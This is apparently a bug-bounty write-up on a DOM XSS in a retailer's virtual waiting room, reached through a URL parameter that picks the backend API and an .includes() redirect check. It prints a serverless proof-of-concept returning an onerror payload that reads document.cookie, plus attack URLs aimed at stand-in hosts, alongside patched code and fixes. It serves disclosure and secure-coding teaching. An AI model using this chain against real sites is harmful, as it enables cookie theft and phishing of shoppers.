Skip to content
• 7 min read

User-Controlled API to DOM XSS Explained: When the Waiting Room Lets You Bring Your Own Backend

How a virtual waiting room trusted a URL parameter to pick its backend API, bypassed its own redirect check with substring matching, and turned an 'Informative' report into a full DOM XSS.

User-Controlled API to DOM XSS Explained: When the Waiting Room Lets You Bring Your Own Backend hero illustration
Listen to Research
AI Narration
0:00 / --:--

User-Controlled API to DOM XSS Explained: When the Waiting Room Lets You Bring Your Own Backend

Imagine standing in line at a busy bank. A guard stops you at the velvet rope and asks to see your queue ticket. Instead of handing him a ticket from the bank’s kiosk, you point to your friend standing on the sidewalk holding a cardboard sign that says “Ticket #1, VIP Access, Give Him the Vault Keys,” and the guard salutes and waves you right in.

That is what happens when a frontend application lets a URL query parameter decide which backend API server it should talk to. If you have ever exploited a classic Open Redirect or a reflected XSS, think of this as its architectural cousin: instead of injecting a payload directly into a sink, you point the entire frontend at your own rogue server and let the application’s normal business logic feed your payload into the DOM for you.

In this write-up, we will walk through a real-world bug chain in an e-commerce virtual waiting room, how an initial Open Redirect and queue bypass got closed as “Informative,” and how tracing a single JSON response field escalated the finding into a confirmed DOM-based Cross-Site Scripting (DOM XSS) vulnerability.

What Is a User-Controlled API Base URL, Anyway?

Modern single-page applications and static waiting-room pages often run across multiple environments (staging, QA, regional production domains). Developers sometimes pass configuration settings through URL query parameters so one static HTML file can serve several storefronts.

Passing a language code (lang=en) or a theme name in the URL is harmless. Passing the backend API base URL (publicApiUrl=https://...) without a strict allowlist is fatal. When the browser reads that parameter and uses it for every subsequent fetch() or XMLHttpRequest call, an attacker who crafts a link controls every JSON response the frontend receives.

Why Should You Care?

When an attacker controls the backend API responses that a trusted origin consumes, three things break immediately:

  • Complete UI and State Manipulation: The attacker dictates queue positions, countdown timers, and checkout eligibility inside the victim’s browser.
  • Token Theft and Phishing via Open Redirects: When paired with weak redirect validation, the application ships session or queue tokens straight to an attacker’s domain while the victim still thinks they are on a legitimate brand URL.
  • Client-Side Code Execution (DOM XSS): Developers rarely sanitize data coming from their “own” backend API. Once the backend is attacker-controlled, every unsafe DOM sink (innerHTML, outerHTML, document.write) becomes an immediate XSS vector.

The Write-Up: From “Informative” to Validated DOM XSS

1. The Initial Discovery: Bring Your Own Queue Server + .includes() Bypass

The target hosted a virtual waiting room at https://queue.redacted-retailer.com/waiting-room/queue.html to throttle traffic during high-demand sales. Inspecting the client-side JavaScript revealed that the page initialized its configuration straight from the URL query string:

https://queue.redacted-retailer.com/waiting-room/queue.html
  ?publicApiUrl=https://api.redacted-retailer.com
  &redirectUrl=https://www.redacted-retailer.com/checkout
  &eventId=FlashSale
  &lang=en

Two flaws jumped out right away:

  1. Unvalidated publicApiUrl: The client sent all four lifecycle API requests (assign_queue_num, queue_num, serving_num, and generate_token) directly to whatever host was passed in publicApiUrl.
  2. Broken Redirect Whitelist: Once the queue server reported that it was the user’s turn, the frontend generated an access token and redirected the browser to redirectUrl. To “protect” users, the script checked the destination with .includes():
// Vulnerable redirect validation in the client bundle
const isTrustedRedirect = whitelist.some(domain => redirectUrl.includes(domain));

Because .includes("redacted-retailer.com") only checks whether that substring exists anywhere in the string, passing https://redacted-retailer.com.attacker.tld sailed right past the check. By pointing publicApiUrl at a mock server that immediately returned “You are #1 in line” and a fake token, the page redirected the victim to https://redacted-retailer.com.attacker.tld?waitingRoomAccessToken=....

2. Hitting the “Informative” Wall

After submitting the Open Redirect and queue logic manipulation report, triage closed it as Informative, arguing that manipulating a client-side waiting room or redirecting a user without demonstrating direct impact on customer accounts was not severe enough on its own.

Fair enough. Triage wants blood (or at least document.cookie), not just someone cutting in front of a virtual line for shampoo. Time to read the bundle more carefully.

3. Escalating to DOM XSS via /serving_num

Since the frontend blindly trusted every JSON property returned by publicApiUrl, the next logical question was: Does the waiting room render any backend response fields as raw HTML?

Digging into the handler for the GET <publicApiUrl>/serving_num endpoint revealed the jackpot. The response included a stringified JSON blob inside extra_information. The client parsed that string and dropped the localized greeting message straight into an element’s innerHTML:

// Inside the /serving_num response handler
const extraData = JSON.parse(response.extra_information);
this.extraMessage = extraData.message;
greetingElement.innerHTML = this.extraMessage?.["greeting_info"]?.[langCode];

The developers assumed greeting_info would only ever come from their own internal CMS, so they used innerHTML to allow basic formatting tags. Because we controlled publicApiUrl, we controlled greeting_info.

4. Building the Serverless PoC

To make reproduction effortless for triage across browsers, I deployed a lightweight mock API on Vercel with permissive CORS headers (Access-Control-Allow-Origin: *) covering the four queue endpoints. The /api/serving_num endpoint returned the XSS payload inside extra_information:

// Serverless PoC endpoint: /api/serving_num.js
export default function handler(req, res) {
  const payload = {
    message: {
      greeting_info: {
        en: '<img src=x onerror="alert(document.cookie)">'
      }
    }
  };

  res
    .status(200)
    .setHeader("Access-Control-Allow-Origin", "*")
    .setHeader("Access-Control-Allow-Headers", "*")
    .setHeader("Access-Control-Allow-Methods", "GET,POST,OPTIONS")
    .json({
      serving_counter: "1",
      queue_counter: "100",
      extra_information: JSON.stringify(payload),
      queue_position_expiry_period: 600,
      validity_period: 900
    });
}

When a victim visited the legitimate waiting-room URL with publicApiUrl pointing to the hosted PoC server:

https://queue.redacted-retailer.com/waiting-room/queue.html?publicApiUrl=https://poc-server.example.com/api&eventId=FlashSale&lang=en

The waiting room fetched /api/serving_num, parsed extra_information, injected the <img> tag via innerHTML, and executed arbitrary JavaScript inside the queue.redacted-retailer.com origin. Within 16 minutes of sharing the live PoC link, the report was reopened, updated to Cross-Site Scripting (XSS), triaged, and subsequently resolved by the engineering team.

Vulnerable vs. Patched Code

1. API Base URL Configuration & DOM Rendering

Vulnerable Version:

// QueueClient.js (Vulnerable)
const params = new URLSearchParams(window.location.search);
const apiBase = params.get("publicApiUrl");
const lang = params.get("lang") || "en";

async function pollQueueStatus(bannerEl) {
  const res = await fetch(`${apiBase}/serving_num`);
  const data = await res.json();
  const extra = JSON.parse(data.extra_information);
  bannerEl.innerHTML = extra?.message?.greeting_info?.[lang];
}

Why this fails: The client fetches data from an arbitrary URL parameter and injects the untrusted response straight into innerHTML.

Patched Version:

// QueueClient.js (Patched)
const ALLOWED_API_ORIGINS = new Set([
  "https://queue-api.redacted-retailer.com",
  "https://queue-api-staging.redacted-retailer.com"
]);

const params = new URLSearchParams(window.location.search);
const requestedApi = params.get("publicApiUrl");
const apiBase = ALLOWED_API_ORIGINS.has(requestedApi)
  ? requestedApi
  : "https://queue-api.redacted-retailer.com";
const lang = params.get("lang") || "en";

async function pollQueueStatus(bannerEl) {
  const res = await fetch(`${apiBase}/serving_num`);
  const data = await res.json();
  const extra = JSON.parse(data.extra_information);
  bannerEl.textContent = extra?.message?.greeting_info?.[lang] || "";
}

Why this works: It restricts apiBase to a hardcoded allowlist of exact origins and uses textContent so HTML markup is treated as inert text.

2. Redirect URL Validation

Vulnerable Version:

// RedirectValidator.js (Vulnerable)
function isSafeRedirect(redirectUrl) {
  const allowedDomains = ["redacted-retailer.com"];
  return allowedDomains.some(d => redirectUrl.includes(d));
}

Why this fails: Substring matching via .includes() passes whenever the trusted domain appears anywhere in the hostname, path, or query string.

Patched Version:

// RedirectValidator.js (Patched)
function isSafeRedirect(redirectUrl) {
  try {
    const parsed = new URL(redirectUrl);
    return (
      parsed.protocol === "https:" &&
      (parsed.hostname === "redacted-retailer.com" ||
        parsed.hostname.endsWith(".redacted-retailer.com"))
    );
  } catch {
    return false;
  }
}

Why this works: Parsing the URL with the native URL constructor and checking parsed.hostname against exact or dot-prefixed suffixes blocks subdomain and path tricks.

How to Fix & Prevent This

  1. Hardcode or Strictly Allowlist Backend Origins: Never let a query parameter specify an arbitrary API host. If multi-environment support is needed, pass an environment key (env=prod) mapped to a hardcoded lookup table.
  2. Replace innerHTML with textContent: For status messages, greetings, and counters, always use textContent or innerText. If rich HTML is strictly required, sanitize it with DOMPurify.sanitize() before insertion.
  3. Validate URLs with new URL(), Never .includes(): Parse redirect targets using the browser’s URL API and verify both protocol (https:) and hostname (=== or .endsWith(".trusted.com")).
  4. Enforce a Strict Content Security Policy (CSP): Use connect-src to restrict which domains the browser is allowed to fetch() from, and disable inline script execution so accidental innerHTML sinks cannot execute injected JavaScript.
Control LayerVulnerable PatternSecure Replacement
API Endpoint SelectionReading publicApiUrl directly from location.searchMap a short environment key to a hardcoded origin Set
DOM Sinkelement.innerHTML = apiResponse.greetingelement.textContent = apiResponse.greeting (or DOMPurify)
Redirect CheckredirectUrl.includes("trusted.com")Parse with new URL() and validate parsed.hostname
Browser Defense-in-DepthNo connect-src or script-src restrictionsStrict CSP locking down connect-src and inline handlers

Final Thoughts

When a report gets closed as “Informative,” treat it as a prompt to look one layer deeper into the data flow. Developers treat responses from their backend API as inherently trusted, so the moment a query parameter lets you swap out that backend, every single innerHTML in the codebase belongs to you.

The safest backend API is the one the user cannot replace via the address bar.

References

⌘
Suggested Searches